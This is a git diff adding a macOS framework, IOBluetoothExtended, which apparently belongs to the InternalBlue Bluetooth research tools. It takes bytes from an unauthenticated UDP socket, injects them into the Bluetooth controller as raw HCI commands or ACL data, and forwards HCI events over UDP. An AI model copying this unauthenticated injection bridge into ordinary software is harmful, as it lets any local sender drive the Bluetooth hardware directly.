<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "8C31742822D1049E004B9604"
|
||||
BuildableName = "IOBluetoothExtendedTests.xctest"
|
||||
BlueprintName = "IOBluetoothExtendedTests"
|
||||
ReferencedContainer = "container:IOBluetoothExtended.xcodeproj">
|
||||
</BuildableReference>
|
||||
</TestableReference>
|
||||
</Testables>
|
||||
<AdditionalOptions>
|
||||
</AdditionalOptions>
|
||||
</TestAction>
|
||||
<LaunchAction
|
||||
buildConfiguration = "Debug"
|
||||
@@ -42,17 +50,6 @@
|
||||
debugDocumentVersioning = "YES"
|
||||
debugServiceExtension = "internal"
|
||||
allowLocationSimulation = "YES">
|
||||
<MacroExpansion>
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "551A88C3208E671F0048DFA0"
|
||||
BuildableName = "internalblue-ios-proxy"
|
||||
BlueprintName = "internalblue-ios-proxy"
|
||||
ReferencedContainer = "container:internalblue-ios-proxy.xcodeproj">
|
||||
</BuildableReference>
|
||||
</MacroExpansion>
|
||||
<AdditionalOptions>
|
||||
</AdditionalOptions>
|
||||
</LaunchAction>
|
||||
<ProfileAction
|
||||
buildConfiguration = "Release"
|
||||
@@ -63,10 +60,10 @@
|
||||
<MacroExpansion>
|
||||
<BuildableReference
|
||||
BuildableIdentifier = "primary"
|
||||
BlueprintIdentifier = "551A88C3208E671F0048DFA0"
|
||||
BuildableName = "internalblue-ios-proxy"
|
||||
BlueprintName = "internalblue-ios-proxy"
|
||||
ReferencedContainer = "container:internalblue-ios-proxy.xcodeproj">
|
||||
BlueprintIdentifier = "8C31741F22D1049D004B9604"
|
||||
BuildableName = "IOBluetoothExtended.framework"
|
||||
BlueprintName = "IOBluetoothExtended"
|
||||
ReferencedContainer = "container:IOBluetoothExtended.xcodeproj">
|
||||
</BuildableReference>
|
||||
</MacroExpansion>
|
||||
</ProfileAction>
|
||||
@@ -0,0 +1,90 @@
|
||||
//
|
||||
// Extensions.swift
|
||||
// IOBluetoothExtended
|
||||
//
|
||||
// Created by Davide Toldo on 12.09.19.
|
||||
// Copyright © 2019 Davide Toldo. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
|
||||
extension Data {
|
||||
struct HexEncodingOptions: OptionSet {
|
||||
let rawValue: Int
|
||||
static let upperCase = HexEncodingOptions(rawValue: 1 << 0)
|
||||
}
|
||||
|
||||
func hexEncodedString(options: HexEncodingOptions = []) -> String {
|
||||
let format = options.contains(.upperCase) ? "%02hhX" : "%02hhx"
|
||||
return map { String(format: format, $0) }.joined()
|
||||
}
|
||||
}
|
||||
|
||||
extension String {
|
||||
init?(_ num: UInt8?) {
|
||||
if let n = num { self = String(n) }
|
||||
else { return nil }
|
||||
}
|
||||
|
||||
func separate(every stride: Int = 4, with separator: Character = " ") -> String {
|
||||
return String(enumerated().map { $0 > 0 && $0 % stride == 0 ? [separator, $1] : [$1]}.joined())
|
||||
}
|
||||
|
||||
func toAscii() -> String {
|
||||
let pattern = "(0x)?([0-9a-f]{2})"
|
||||
let regex = try! NSRegularExpression(pattern: pattern, options: .caseInsensitive)
|
||||
let nsString = self as NSString
|
||||
let matches = regex.matches(in: self, options: [], range: NSMakeRange(0, nsString.length))
|
||||
var characters = matches.map {
|
||||
Character(UnicodeScalar(UInt32(nsString.substring(with: $0.range(at: 2)), radix: 16)!)!)
|
||||
}
|
||||
characters = characters.map {
|
||||
if !$0.isASCII { return "." }
|
||||
if $0.asciiValue! < 32 { return "." }
|
||||
if $0.asciiValue! > 130 { return "." }
|
||||
if $0.isNewline { return "." }
|
||||
if $0 == "\0" { return "." }
|
||||
return $0
|
||||
}
|
||||
return String(characters)
|
||||
}
|
||||
|
||||
var hexadecimal: Data? {
|
||||
var data = Data(capacity: count / 2)
|
||||
|
||||
let regex = try! NSRegularExpression(pattern: "[0-9a-f]{1,2}", options: .caseInsensitive)
|
||||
regex.enumerateMatches(in: self, range: NSRange(startIndex..., in: self)) { match, _, _ in
|
||||
let byteString = (self as NSString).substring(with: match!.range)
|
||||
let num = UInt8(byteString, radix: 16)!
|
||||
data.append(num)
|
||||
}
|
||||
|
||||
guard data.count > 0 else { return nil }
|
||||
|
||||
return data
|
||||
}
|
||||
|
||||
subscript (i: Int) -> String {
|
||||
return self[i ..< i + 1]
|
||||
}
|
||||
|
||||
func substring(fromIndex: Int) -> String {
|
||||
return self[min(fromIndex, count) ..< count]
|
||||
}
|
||||
|
||||
func substring(toIndex: Int) -> String {
|
||||
return self[0 ..< max(0, toIndex)]
|
||||
}
|
||||
|
||||
subscript (r: Range<Int>) -> String {
|
||||
let range = Range(uncheckedBounds: (lower: max(0, min(count, r.lowerBound)), upper: min(count, max(0, r.upperBound))))
|
||||
let start = index(startIndex, offsetBy: range.lowerBound)
|
||||
let end = index(start, offsetBy: range.upperBound - range.lowerBound)
|
||||
return String(self[start ..< end])
|
||||
}
|
||||
}
|
||||
|
||||
extension Sequence where Element == UInt8 {
|
||||
var data: Data { .init(self) }
|
||||
var hexa: String { map { .init(format: "%02x", $0) }.joined() }
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
//
|
||||
// HCICommunicator.h
|
||||
// IOBluetoothExtended
|
||||
//
|
||||
// Created by Davide Toldo on 19.09.19.
|
||||
// Copyright © 2019 Davide Toldo. All rights reserved.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
#ifndef HCICommunicator_h
|
||||
#define HCICommunicator_h
|
||||
|
||||
@interface HCICommunicator: NSObject
|
||||
|
||||
+ (void) sendHCICommand:(uint8_t [])arg1 len:(uint8_t)arg2;
|
||||
+ (void) sendACLCommand:(uint8_t [])arg1 len:(uint8_t)arg2;
|
||||
|
||||
@end
|
||||
|
||||
#endif /* HCICommunicator_h */
|
||||
@@ -0,0 +1,70 @@
|
||||
//
|
||||
// HCICommunicator.m
|
||||
// IOBluetoothExtended
|
||||
//
|
||||
// Created by Davide Toldo on 19.09.19.
|
||||
// Copyright © 2019 Davide Toldo. All rights reserved.
|
||||
//
|
||||
|
||||
#import "HCICommunicator.h"
|
||||
#import "IOBluetoothExtended.h"
|
||||
#import <IOBluetoothHostController.h>
|
||||
|
||||
@implementation HCICommunicator
|
||||
|
||||
+ (void) sendHCICommand:(uint8_t [])arg1 len:(uint8_t)arg2 {
|
||||
NSData *data = [NSData dataWithBytes:arg1 length:arg2];
|
||||
uint8_t *command = calloc(arg2, sizeof(uint8_t));
|
||||
memcpy(command, [data bytes], arg2);
|
||||
|
||||
BluetoothHCIRequestID request = 0;
|
||||
|
||||
int error = BluetoothHCIRequestCreate(&request, 1000, nil, 0);
|
||||
if (error) {
|
||||
BluetoothHCIRequestDelete(request);
|
||||
printf("Couldn't create error: %08x\n", error);
|
||||
}
|
||||
|
||||
size_t commandSize = 3;
|
||||
if (arg2 > 2) {
|
||||
commandSize += command[2];
|
||||
}
|
||||
|
||||
error = BluetoothHCISendRawCommand(request, command, commandSize);
|
||||
|
||||
if (error) {
|
||||
BluetoothHCIRequestDelete(request);
|
||||
printf("Send HCI command Error: %08x\n", error);
|
||||
}
|
||||
|
||||
sleep(0x1);
|
||||
BluetoothHCIRequestDelete(request);
|
||||
}
|
||||
|
||||
+ (void) sendACLCommand:(uint8_t [])arg1 len:(uint8_t)arg2 {
|
||||
NSData *data = [NSData dataWithBytes:arg1 length:arg2];
|
||||
uint8_t *commandData = calloc(arg2, sizeof(uint8_t));
|
||||
memcpy(commandData, [data bytes], arg2);
|
||||
|
||||
BluetoothHCIRequestID request = 0;
|
||||
|
||||
int error = BluetoothHCIRequestCreate(&request, 1000, nil, 0);
|
||||
if (error) {
|
||||
BluetoothHCIRequestDelete(request);
|
||||
printf("Couldn't create error: %08x\n", error);
|
||||
}
|
||||
|
||||
// Read device handle from data
|
||||
uint16_t handle = commandData[0];
|
||||
error = BluetoothHCISendRawACLData(commandData, arg2, handle, request);
|
||||
|
||||
if (error) {
|
||||
BluetoothHCIRequestDelete(request);
|
||||
printf("Send HCI command Error: %08x\n", error);
|
||||
}
|
||||
|
||||
sleep(0x1);
|
||||
BluetoothHCIRequestDelete(request);
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -0,0 +1,37 @@
|
||||
//
|
||||
// HCIDelegate.h
|
||||
// IOBluetoothExtended
|
||||
//
|
||||
// Created by Davide Toldo on 06.07.19.
|
||||
// Copyright © 2019 Davide Toldo. All rights reserved.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <IOBluetooth/IOBluetooth.h>
|
||||
|
||||
#ifndef HCIDelegate_h
|
||||
#define HCIDelegate_h
|
||||
|
||||
@interface HCIDelegate: NSObject
|
||||
|
||||
@property (nonatomic, assign) NSString *hostname;
|
||||
@property (nonatomic, assign) NSString *inject;
|
||||
@property (nonatomic, assign) NSString *snoop;
|
||||
|
||||
@property (nonatomic, assign) int32_t sock_fd;
|
||||
@property (nonatomic, assign) int32_t client_fd;
|
||||
|
||||
@property (nonatomic, assign) Boolean exit_requested;
|
||||
|
||||
- (id) initWith:(NSString *)inject and:(NSString*)snoop;
|
||||
|
||||
+ (void) setHostname:(NSString *)arg1;
|
||||
|
||||
+ (void) setInject:(NSString *)arg1;
|
||||
+ (void) setSnoop:(NSString *)arg1;
|
||||
|
||||
- (void) shutdown;
|
||||
|
||||
@end
|
||||
|
||||
#endif /* HCIDelegate_h */
|
||||
@@ -0,0 +1,42 @@
|
||||
//
|
||||
// Commands.m
|
||||
// IOBluetoothExtended
|
||||
//
|
||||
// Created by Davide Toldo on 06.07.19.
|
||||
// Copyright © 2019 Davide Toldo. All rights reserved.
|
||||
//
|
||||
|
||||
#import "HCIDelegate.h"
|
||||
#import "IOBluetoothExtended/IOBluetoothExtended-Swift.h"
|
||||
|
||||
@implementation HCIDelegate
|
||||
|
||||
Boolean exit_requested = false;
|
||||
|
||||
- (id) initWith:(NSString *)inject and:(NSString*)snoop {
|
||||
if (self = [super init]) {
|
||||
self.inject = inject;
|
||||
self.snoop = snoop;
|
||||
self.hostname = @"127.0.0.1";
|
||||
[self initServer];
|
||||
}
|
||||
return self;
|
||||
}
|
||||
|
||||
+ (void) setHostname:(NSString *)hostname {
|
||||
self.hostname = hostname;
|
||||
}
|
||||
|
||||
+ (void) setInject:(NSString *)port {
|
||||
self.inject = port;
|
||||
}
|
||||
|
||||
+ (void) setSnoop:(NSString *)port {
|
||||
self.snoop = port;
|
||||
}
|
||||
|
||||
- (void) shutdown {
|
||||
exit_requested = true;
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -0,0 +1,196 @@
|
||||
//
|
||||
// HCIDelegate.swift
|
||||
// IOBluetoothExtended
|
||||
//
|
||||
// Created by Davide Toldo on 03.09.19.
|
||||
// Copyright © 2019 Davide Toldo. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import Network
|
||||
|
||||
extension HCIDelegate: IOBluetoothHostControllerDelegate {
|
||||
@objc public func initServer() {
|
||||
//print("IOBE: Initializing, snoop: \(snoop ?? "-1"), inject: \(inject ?? "-1")")
|
||||
self.startupServer()
|
||||
}
|
||||
|
||||
public func sendOverUDP(data: Data, _ hostUDP: NWEndpoint.Host, _ portUDP: NWEndpoint.Port) {
|
||||
var server_addr = sockaddr_in()
|
||||
let server_addr_size = socklen_t(MemoryLayout.size(ofValue: server_addr))
|
||||
server_addr.sin_len = UInt8(server_addr_size)
|
||||
server_addr.sin_family = sa_family_t(AF_INET) // chooses IPv4
|
||||
server_addr.sin_port = UInt16(portUDP.rawValue).bigEndian // chooses the port
|
||||
|
||||
let sock_fd = socket(AF_INET, SOCK_DGRAM, 0)
|
||||
if sock_fd == -1 {
|
||||
perror("Failure: creating socket")
|
||||
exit(EXIT_FAILURE)
|
||||
}
|
||||
|
||||
var bytes = [UInt8](repeating: 0, count: data.count)
|
||||
(data as NSData).getBytes(&bytes, length: bytes.count)
|
||||
|
||||
let addr = UnsafeRawPointer(&server_addr).assumingMemoryBound(to: sockaddr.self)
|
||||
sendto(sock_fd, &bytes, data.count, 0, addr, server_addr_size)
|
||||
}
|
||||
|
||||
private func startupServer() {
|
||||
let i = NWEndpoint.Port(self.inject as String)
|
||||
|
||||
// Create socket
|
||||
let sock_fd = socket(AF_INET, SOCK_DGRAM, 0)
|
||||
if sock_fd == -1 {
|
||||
perror("Failure: creating socket")
|
||||
exit(EXIT_FAILURE)
|
||||
}
|
||||
|
||||
var sock_opt_on = Int32(1)
|
||||
setsockopt(sock_fd, SOL_SOCKET, SO_REUSEADDR, &sock_opt_on, socklen_t(MemoryLayout.size(ofValue: sock_opt_on)))
|
||||
|
||||
var server_addr = sockaddr_in()
|
||||
let server_addr_size = socklen_t(MemoryLayout.size(ofValue: server_addr))
|
||||
server_addr.sin_len = UInt8(server_addr_size)
|
||||
server_addr.sin_family = sa_family_t(AF_INET) // chooses IPv4
|
||||
server_addr.sin_port = UInt16(i!.rawValue).bigEndian // chooses the port
|
||||
|
||||
// Bind socket
|
||||
let bind_server = withUnsafePointer(to: &server_addr) {
|
||||
Darwin.bind(sock_fd, UnsafeRawPointer($0).assumingMemoryBound(to: sockaddr.self), server_addr_size)
|
||||
}
|
||||
if bind_server == -1 {
|
||||
perror("Failure: binding port")
|
||||
exit(EXIT_FAILURE)
|
||||
}
|
||||
|
||||
//print("IOBE: Listening on", server_addr.sin_port.bigEndian)
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
while !self.exit_requested {
|
||||
// Prepare for receiving data
|
||||
var client_addr = sockaddr_storage()
|
||||
var client_addr_len = socklen_t(MemoryLayout.size(ofValue: client_addr))
|
||||
|
||||
var receiveBuffer = [UInt8](repeating: 0, count: 1024)
|
||||
var bytesRead = 0
|
||||
|
||||
// Receive data via syscall
|
||||
bytesRead = withUnsafeMutablePointer(to: &client_addr) {
|
||||
$0.withMemoryRebound(to: sockaddr.self, capacity: 1) {
|
||||
recvfrom(sock_fd, &receiveBuffer, 1024, 0, $0, &client_addr_len)
|
||||
}
|
||||
}
|
||||
|
||||
if bytesRead == -1 {
|
||||
perror("Failure: error while reading")
|
||||
exit(EXIT_FAILURE)
|
||||
}
|
||||
|
||||
// After reading the command, do all further processing on another
|
||||
// Thread to be able to accept new incoming commands from the socket
|
||||
DispatchQueue.global(qos: .background).async {
|
||||
var command = Array([UInt8](receiveBuffer).dropFirst(2))
|
||||
let length: UInt8 = receiveBuffer[1]
|
||||
|
||||
// Send command to Bluetooth HCI Controller
|
||||
let hci_type = [UInt8](receiveBuffer)[0]
|
||||
if hci_type == 0x01 {
|
||||
HCICommunicator.sendHCICommand(&command, len: length)
|
||||
}
|
||||
else {
|
||||
HCICommunicator.sendACLCommand(&command, len: length)
|
||||
}
|
||||
}
|
||||
}
|
||||
print("Exiting...")
|
||||
close(self.sock_fd)
|
||||
close(self.client_fd)
|
||||
}
|
||||
}
|
||||
|
||||
@objc(BluetoothHCIEventNotificationMessage:inNotificationMessage:)
|
||||
public func bluetoothHCIEventNotificationMessage(_ controller: IOBluetoothHostController,
|
||||
in message: UnsafeMutablePointer<IOBluetoothHCIEventNotificationMessage>) {
|
||||
|
||||
let opcode = message.pointee.dataInfo.opcode
|
||||
let data = IOBluetoothHCIEventParameterData(message)
|
||||
if opcode == 0 { return }
|
||||
|
||||
let dataInfo = message.pointee.dataInfo
|
||||
let opcod1 = String(format:"%02X", dataInfo.opcode)
|
||||
let opcod2 = Array(repeating: "0", count: 4-opcod1.count) + Array(opcod1)
|
||||
if opcod2.count < 4 { return }
|
||||
let opcod3 = "\(opcod2[2])\(opcod2[3])\(opcod2[0])\(opcod2[1])"
|
||||
|
||||
var result = "04"
|
||||
result.append(String(format:"%02X", dataInfo._field7))
|
||||
result.append("\(String(format:"%02X", dataInfo.parameterSize+3))")
|
||||
result.append("01\(opcod3)")
|
||||
result.append(data.hexEncodedString())
|
||||
|
||||
// printFormatted(result)
|
||||
if result.count < 8 { return }
|
||||
|
||||
let h = NWEndpoint.Host(self.hostname as String)
|
||||
let s = NWEndpoint.Port(self.snoop as String)
|
||||
|
||||
// Version Information
|
||||
if opcode == 0x1001 {
|
||||
var temp = ""
|
||||
for i in [0,1,2,3,4,5,9,8,14,15,12,6,7,10,11] {
|
||||
temp.append(result[i*2])
|
||||
temp.append(result[i*2+1])
|
||||
}
|
||||
self.sendOverUDP(data: temp.hexadecimal!, h, s!)
|
||||
}
|
||||
// Connection Complete
|
||||
else if opcode == 0x0405 || opcode == 0x0409 {
|
||||
let orig = data.hexEncodedString()
|
||||
var temp = "0403"
|
||||
for i in [8,9,0,1,7,6,5,4,3,2] {
|
||||
temp.append(orig[i*2])
|
||||
temp.append(orig[i*2+1])
|
||||
}
|
||||
if temp.count != 24 { return }
|
||||
self.sendOverUDP(data: temp.hexadecimal!, h, s!)
|
||||
}
|
||||
// Disconnection Complete
|
||||
else if opcode == 0x0406 {
|
||||
let orig = data.hexEncodedString()
|
||||
if orig.count == 0 { return }
|
||||
var temp = "040504"
|
||||
for i in [2,1,0] {
|
||||
temp.append(orig[i*2])
|
||||
temp.append(orig[i*2+1])
|
||||
}
|
||||
self.sendOverUDP(data: temp.hexadecimal!, h, s!)
|
||||
}
|
||||
else {
|
||||
let temp = result.hexadecimal!
|
||||
if temp.count >= 8 {
|
||||
self.sendOverUDP(data: temp, h, s!)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func printFormatted(_ result: String) {
|
||||
let str = result.separate()
|
||||
var formatted = ""
|
||||
for (i, sub) in str.components(separatedBy: " ").enumerated() {
|
||||
if i % 8 == 7 {
|
||||
let rowIndex = i/8
|
||||
let start = result.index(result.startIndex, offsetBy: rowIndex * 32)
|
||||
let end = rowIndex * 32 + 32 < result.count ?
|
||||
result.index(result.startIndex, offsetBy: rowIndex * 32 + 32) :
|
||||
result.endIndex
|
||||
let range = start..<end
|
||||
let row = String(result[range])
|
||||
formatted.append(sub + " \(row.toAscii())\n")
|
||||
}
|
||||
else {
|
||||
formatted.append(sub + " ")
|
||||
}
|
||||
}
|
||||
|
||||
print(formatted)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
//
|
||||
// IOBE.h
|
||||
// IOBluetoothExtended
|
||||
//
|
||||
// Created by Davide Toldo on 19.09.19.
|
||||
// Copyright © 2019 Davide Toldo. All rights reserved.
|
||||
//
|
||||
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <IOBluetooth/IOBluetooth.h>
|
||||
|
||||
#ifndef IOBE_h
|
||||
#define IOBE_h
|
||||
|
||||
@class HCIDelegate;
|
||||
|
||||
@interface IOBE: NSObject {
|
||||
IOBluetoothHostController *controller;
|
||||
HCIDelegate *delegate;
|
||||
}
|
||||
|
||||
- (void) shutdown;
|
||||
|
||||
@end
|
||||
|
||||
#endif /* IOBE_h */
|
||||
@@ -0,0 +1,31 @@
|
||||
//
|
||||
// IOBE.m
|
||||
// IOBluetoothExtended
|
||||
//
|
||||
// Created by Davide Toldo on 19.09.19.
|
||||
// Copyright © 2019 Davide Toldo. All rights reserved.
|
||||
//
|
||||
|
||||
#import "IOBE.h"
|
||||
#import "HCIDelegate.h"
|
||||
|
||||
@implementation IOBE
|
||||
|
||||
- (id) initWith:(NSString *)inject and:(NSString*)snoop {
|
||||
if (self = [super init]) {
|
||||
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_BACKGROUND, 0), ^{
|
||||
self->controller = IOBluetoothHostController.defaultController;
|
||||
self->delegate = [[HCIDelegate alloc] initWith:inject and:snoop];
|
||||
self->controller.delegate = self->delegate;
|
||||
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
});
|
||||
}
|
||||
return self;
|
||||
}
|
||||
|
||||
- (void) shutdown {
|
||||
[self->delegate shutdown];
|
||||
}
|
||||
|
||||
@end
|
||||
@@ -0,0 +1,20 @@
|
||||
//
|
||||
// IOBluetoothExtended.h
|
||||
// IOBluetoothExtended
|
||||
//
|
||||
// Created by Davide Toldo on 06.07.19.
|
||||
// Copyright © 2019 Davide Toldo. All rights reserved.
|
||||
//
|
||||
|
||||
#import <Cocoa/Cocoa.h>
|
||||
#import <HCIDelegate.h>
|
||||
#import <HCICommunicator.h>
|
||||
#import <IOBluetoothHostController.h>
|
||||
|
||||
//! Project version number for IOBluetoothExtended.
|
||||
FOUNDATION_EXPORT double IOBluetoothExtendedVersionNumber;
|
||||
|
||||
//! Project version string for IOBluetoothExtended.
|
||||
FOUNDATION_EXPORT const unsigned char IOBluetoothExtendedVersionString[];
|
||||
|
||||
// In this header, you should import all the public headers of your framework using statements like #import <IOBluetoothExtended/PublicHeader.h>
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user